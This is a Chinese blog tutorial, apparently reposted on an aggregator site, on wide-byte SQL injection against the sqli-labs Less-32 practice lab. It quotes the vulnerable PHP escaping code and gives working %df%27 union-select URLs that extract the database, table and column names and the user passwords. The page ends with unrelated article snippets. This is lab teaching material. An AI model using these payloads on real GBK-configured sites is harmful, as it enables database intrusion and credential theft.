渗透之sql注入---宽字节注入

news2024/12/23 22:40:02

目录

宽字节注入原理:

实战:

源码分析:

开始注入:

找注入点:

注入数据库名:

注入表名:

注入列明:

注入具体值:http://sqli-labs:8084/less-32/?id=-1%df%27union%20select%201,group_concat(username,0x3a,password),3%20%20from%20%20users--+


宽字节注入原理:
 

        宽字节注入就是在对用户输入进行处理时,将编码方式改变,当某些关键字符被过滤(转义)时,我们可以使用其他的编码在被转义的字符前面,这样就可以组成一个新的字符从而来实现绕过。

实战:

本次的实战在sql靶场上的第32关进行操作。

源码分析:

关键代码:

通过我们的分析可知:我们输入的单双引号被替换为了反斜线。gbk中反斜线的编码为:%5C

utf-8编码被换为gbk,并且容纳2字节。%df%5c恰好可以组成一个汉子的编码(运的编码)。所以我们可以使用这个来绕过。

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}


if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 
//这里将utf-8编码转化为gbk了。
//utf-8一般容纳3个字节,gbk一般容纳2个字节
mysql_query("SET NAMES gbk"); //这里突然间转化了编码,变成了gbk编码,
//而gbk编码为两个字节,%df%5c恰好可以组成一个汉字,而汉字占2个字节,所以可以实现逃逸单引号
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#00FF00">';	
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}

开始注入:

找注入点:

1):输入单引号

2):在单引号前输入%df,之后回车

爆了语法错误,说明我们成功的绕过了并找到注入点。

注入数据库名:

http://sqli-labs:8084/less-32/?id=-1%df%27union%20select%201,database(),3%20--+

注入表名:

table_schema=0x7365637572697479:这里的单双引号被过滤了,我们不能使用,但是在mysql中支持16进制,我们可以将数据库security转化为16进制在进行操作。

可以使用在线转化工具:进行转化16进制转换,16进制转换文本字符串,在线16进制转换 | 在线工具 (sojson.com)

http://sqli-labs:8084/less-32/?id=-1%df%27union%20select%201,group_concat(table_name),3%20%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%20--+

注入列明:

我们将users这个表的的列明注入出来:

http://sqli-labs:8084/less-32/?id=-1%df%27union%20select%201,group_concat(COLUMN_NAME),3%20%20from%20information_schema.columns%20where%20table_schema=0x7365637572697479%20%20and%20table_name=0x7573657273--+

注入具体值:
http://sqli-labs:8084/less-32/?id=-1%df%27union%20select%201,group_concat(username,0x3a,password),3%20%20from%20%20users--+

到此本次的注入就成功了,继续注入其他值重复操作即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1658237.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

回顾5款我非常喜欢的软件,希望大家也能喜欢

​ 我喜欢分享好软件,这就像与老友聊天一样让我感到快乐。在这个过程中,我可以回顾这些实用的小工具,也希望它们可以帮助到更多人。 1.备份工具——Cobian Backup ​ Cobian Backup是一款功能强大的备份软件&#xff0c;支持自动定时备份、增量备份、差异备份等多种备份方式。…

网工路由基础——静态路由

一、静态路由的定义 静态路由是一种需要管理员手动配置的特殊路由。 二、静态路由的目的或背景 1&#xff09;当网络结构比较简单时&#xff0c;只需要配置静态路由就可以使网络正常工作&#xff1b; 2&#xff09;在复杂网络中&#xff0c;配置静态路由可以改进网络的性能&am…

PMP课程知识点很多,无法入手,该如何学习?

回顾整个学习过程&#xff0c;我花费了不少时间&#xff0c;但也学到了系统的项目管理知识&#xff0c;考试结果也让我感到满意。在学习过程中&#xff0c;我认为以下几点非常重要&#xff1a; 1、需要对课本进行整体阅读&#xff0c;以便对内容有一个整体印象&#xff1b; 2…

丰田生产方式的四大误解:揭示真相,打造高效生产新篇章

丰田生产方式作为世界知名的制造业管理模式&#xff0c;一直备受关注。然而&#xff0c;在其广泛传播和实践过程中&#xff0c;也产生了不少误解。本文将揭示丰田生产方式的四大代表性误解&#xff0c;带大家领略其真正的魅力。 误解一&#xff1a;丰田生产方式只适用于汽车行业…

数据结构与算法之树和二叉树的一些概念和性质

目录 前言 一、树的定义 二、树的若干术语 1.结点的度 2.叶子 3.双亲与孩子 4.兄弟 5.祖先 6.树的度 7.结点的层次 8.树的深度 9.有序树和无序树 10.森林 三、树的逻辑结构 四、树的存储结构 1.顺序存储 2.链式存储 五、二叉树 1.定义 2.二叉树的五种状态 …

vscode中配置 leetcode 插件

1. 环境准备 插件安装介绍 介绍 VS Code 1.23.0 Node.js 10 注意&#xff1a;请确保Node在PATH环境变量中。您也可以通过设定 leetcode.nodePath 选项来指定 Node.js 可执行文件的路径。 1.1 Node.js 安装 首先&#xff0c;您需要解压下载的 .tar.xz 文件。您可以使用以下…

C++反汇编,指针和内存分配细节,面试题05

文章目录 20. 指针 vs 引用21. new vs malloc 20. 指针 vs 引用 指针是实体&#xff0c;占用内存空间&#xff0c;逻辑上独立&#xff1b;引用是别名&#xff0c;与变量共享内存空间&#xff0c;逻辑上不独立。指针定义时可以不初始化&#xff1b;引用定义时必须初始化。指针的…

SpringBoot中使用RocketMQ实现事务消息来保证分布式事务的一致性(有代码)

前言 分布式事务是分布式系统中非常常见的问题。是非常必要钱常见的。实现的方式也是多种多样。今天这个视频主要来分享一下RocketMQ实现事务消息来保证分布式事务的一致性。不知道大家使用过这种方式没有。这种分布式事务的原理其实和本地消息表一样。 本地消息表实现分布式…

电脑中的两个固态硬盘比一个好,想知道为什么吗

你当前的电脑很有可能有一个NVME SSD作为主驱动器&#xff0c;但可能至少还有一个插槽可以放另一个SSD&#xff0c;而且这样做可能是个好主意。 两个SSD可以提高性能 如果你有两个固态硬盘&#xff0c;你可以从中获得比有一个更好的性能。一种方法是使用RAID 0将两个驱动器组…

HR招聘面试,如何测评候选人的执行力和岗位胜任力

执行力是人才测评中的重要组成&#xff0c;尤其是对于小微企业那就更加重要了&#xff0c;几乎每个岗位都需要员工有独挡一面的能力&#xff0c;没有执行力的员工是无法在中小企业生存的&#xff0c;那么对于大型企业来说&#xff0c;是不是执行力不重要&#xff1f;非也&#…

报错(已解决):无法加载文件 D:\code\NodeJs\pnpm.ps1,因为在此系统上禁止运行脚本。

问题&#xff1a; 在vscode运行uniapp项目需要拉取全部依赖&#xff0c;需要使用到pnpm&#xff0c;在vscode终端运行命令&#xff1a;pnpm install后报错&#xff1a; 解决办法&#xff1a; 1&#xff1a;我未安装pnpm&#xff0c;首先打开电脑cmd&#xff0c;运行下列命令&a…

Selenium 自动化 —— 常用的定位器(Locator)

什么是定位器 定位器&#xff08;Locator&#xff09;是识别DOM中一个或多个特定元素的方法。 也可以叫选择器 Selenium 通过By类&#xff0c;提供了常见的定位器。具体语法如下&#xff1a; By.xxx("");我们选择单个元素时可以使用findByElement&#xff1a; Web…

JUC下的ForkJoinPool详解

详细介绍 ForkJoinPool 是 Java 并发包 (java.util.concurrent) 中的一个特殊线程池&#xff0c;专为分治算法设计&#xff0c;能够高效地处理大量可分解的并行任务。它基于工作窃取&#xff08;work-stealing&#xff09;算法&#xff0c;当一个工作线程的任务队列为空时&…

13 华三三层链路聚和

13 华三三层链路聚和 AI 解析 华三三层静态路由是指在华三交换机上配置的一种路由方式。它通过在交换机上手动配置路由表&#xff0c;将不同网络之间的数据进行转发。 华三三层静态路由的配置步骤如下&#xff1a; 1. 配置交换机接口的IP地址&#xff1a;在交换机上选择要配…

拦截器添加以及注册

自定义拦截器 自定义一个类 实现 HandlerInterceptor 接口 并重写里面的方法 preHandle、postHandle、afterCompletion preHandle&#xff1a;在执行具体的Controller方法之前调用 postHandle&#xff1a;controller执行完毕之后被调用 afterCompletion&#xff1a;方法需要…

NOIP,CSP-J,CSP-S——函数

一、函数概念 /*函数返回类型 函数名&#xff08;参数&#xff09;{语句 } */ int add&#xff08;int x&#xff0c;int y&#xff09;{return xy; } 调用这个函数add int main(){int x,y,z;scanf("%d%d",&x,&y);zadd(x,y);printf("%d",z); } …

我从这些书籍中学来的财务以及税务知识

“你不能指望在开始工作的头两年攒下任何积蓄。” 这句话一直是我的座右铭&#xff0c;也是我给大学生的个人理财建议。这也就难怪我二十出头的时候&#xff0c;基本就是靠薪水过日子。 回想起来&#xff0c;我意识到其实这并不是最好的建议&#xff0c;甚至非常不好。 我现…

纹理映射技术在AI去衣应用中的关键作用

引言&#xff1a; 随着人工智能技术的飞速发展&#xff0c;其在图像处理领域中的应用也日益广泛。AI去衣&#xff0c;作为一种颇具争议的技术应用&#xff0c;指的是利用深度学习算法自动移除或替换图片中的衣物。在这一过程中&#xff0c;纹理映射技术扮演了不可或缺的角色。本…

Anaconda安装和深度学习环境的安装(TensorFlow、Pytorch)

换了新电脑&#xff0c;重新装一下anaconda这些编程环境。好久没装过了&#xff0c;自己也需要查查资料&#xff0c;然后记录一下&#xff0c;分享给别人。 目标&#xff0c;三个环境&#xff1a;1.anaconda基础环境&#xff08;包含xgboost和lightgbm&#xff09;&#xff0c…

地图位置的二维码怎么做?在线制作地图二维码的方法

怎么定位一个位置做成二维码呢&#xff1f;随着互联网的不断发展&#xff0c;现在通过扫描二维码来获取导航位置的方式有很多的场景都在应用。这种方式的好处在于其他人都可以通过这个二维码来获取位置&#xff0c;有利于分享。 导航地图二维码可以在电脑的二维码生成器上快速…